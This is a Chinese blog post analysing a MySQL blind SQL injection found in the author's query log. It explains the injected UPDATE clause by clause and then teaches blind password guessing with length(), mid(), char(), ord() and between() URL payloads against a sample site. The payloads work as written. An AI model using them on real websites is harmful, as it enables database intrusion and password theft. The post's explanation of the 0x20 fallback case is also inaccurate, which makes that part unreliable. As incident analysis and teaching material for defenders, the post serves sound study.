您的位置:首页 > 数据库 > MySQL

遭遇一次MySQL猜解注入攻击

2013-06-07 11:10 274 查看
前些日子数据库被入侵,文章的阅读数都被纂改了,还好及时发现并做好备份。查一下 MySQL 语句记录,发现这么原来是这么一句 SQL 在捣鬼:

1
UPDATE
table
SET
views
=
'1'
WHERE
id
= -2441
OR
(ORD(MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
ORDER
BY
id
LIMIT 1,1),2,1))>112)#
PS:user 这个表是数据库里一个以前测试用的表,表的结构也写到博文里面,暴露了字段。

这句 SQL 为什么能那么厉害呢?我们接下来分析一下。

1. 首先是 CAST(FirstNameAS CHAR)这个子句。MySQL 的 CAST()函数可用来获取一个类型的值,并产生另一个类型的值。具体的使用可以参看 MySQL CAST与CONVERT 函数的用法 这篇文章。我们执行一下,看看结果是什么:

01
mysql>
SELECT
CAST
(FirstName
AS
CHAR
)
FROM
user
;
02
+
-------------------------+
03
|
CAST
(FirstName
AS
CHAR
)
|
04
+
-------------------------+
05
|
Gonn                    |
06
|
Mio                     |
07
|
Google                  |
08
|
yale                    |
09
+
-------------------------+
10
4
rows
in
set
就是将 FirstName 这个字段全部转成 CHAR 类型。

2. 接下来我们再看 IFNULL(CAST(FirstNameAS CHAR),0x20)这个子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL()返回 expr1,否则它返回 expr2。具体可以参看《MySQL
IFNULL()函数用法》。

执行一下:

01
mysql>
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
;
02
+
--------------------------------------+
03
|
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
|
04
+
--------------------------------------+
05
|
Gonn                                 |
06
|
Mio                                  |
07
|
Google                               |
08
|
yale                                 |
09
+
--------------------------------------+
10
4
rows
in
set
虽然看起来结果没啥不同,但是,它起到了一个作用。假设 CAST 转换成 CHAR 失败,它就会返回 0x20 这个值,为后面的 ORD 提供作用。

3. 接下来再看 MID((SELECT IFNULL(CAST(FirstNameAS CHAR),0x20)FROM user ORDER BY id LIMIT 1,1),2,1)这个子句。MID()这个函数就是截取字符串用的,具体可以看看《MySQL
MID()函数用法》这个。

1
mysql>
SELECT
MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
ORDER
BY
id
LIMIT 1,1),2,1);
2
+
----------------------------------------------------------------------------------------+
3
|
MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
ORDER
BY
id
LIMIT 1,1),2,1)|
4
+
----------------------------------------------------------------------------------------+
5
|
i                                                                                      |
6
+
----------------------------------------------------------------------------------------+
7
1
row
in
set
就得到一个字母 i。

4. 关键的子句来了:ORD(MID((SELECT IFNULL(CAST(FirstNameAS CHAR),0x20)FROM user ORDER BY id LIMIT 1,1),2,1))。ORD()函数返回字符串第一个字符的 ASCII 值, 《《MySQL
ORD()函数用法》》。

1
mysql>
SELECT
ORD(MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
ORDER
BY
id
LIMIT 1,1),2,1));
2
+
---------------------------------------------------------------------------------------------+
3
|
ORD(MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
user
ORDER
BY
id
LIMIT 1,1),2,1))|
4
+
---------------------------------------------------------------------------------------------+
5
|
105 |
6
+
---------------------------------------------------------------------------------------------+
7
1
row
in
set
就是 i 的 ASCII 码是105.

如果是失败,返回 0x20 这种情况:

1
mysql>
SELECT
ORD(
'0x20'
);
2
+
-------------+
3
|
ORD(
'0x20'
)
|
4
+
-------------+
5
|
48 |
6
+
-------------+
7
1
row
in
set
两种情况,在 ASCII 码中都要比 112 前,就是下面的 hack 语句是可以执行的。

1
UPDATE
table
SET
views
=
'1'
WHERE
id
= -2441
OR
(ORD(MID((
SELECT
IFNULL(
CAST
(FirstName
AS
CHAR
),0x20)
FROM
nowamagic.`tb2`
ORDER
BY
id
LIMIT 1,1),2,1))>112)#


MySQL 猜解注入

在 MySQL 中内置了很多函数,利用它们,即使在没有联合查询功能的老版本 MySQL 上也可以做一些意想不到的操作。假设网站存在于http://www.nm.net/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求:

1
http:
//www.nm.net/index.php?id=10
and length(password)=12#
我们通过 length()函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:

1
http:
//www.nm.net/index.php?id=10
and mid(password,1,1)=char(0x60)#
Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。

另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:

1
http:
//www.nm.net/index.php?id=10
and (mid(password,1,1))between char(0x61)and char(0x7A)#
除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:

1
http:
//www.nm.net/index.php?id=10
and ord(mid(password,1,1))=0x6D#
用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:

1
http:
//www.nm.net/index.php?id=10
and ord(mid(password,1,1))>0x41#
就这样慢慢一步步手工猜解注入
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: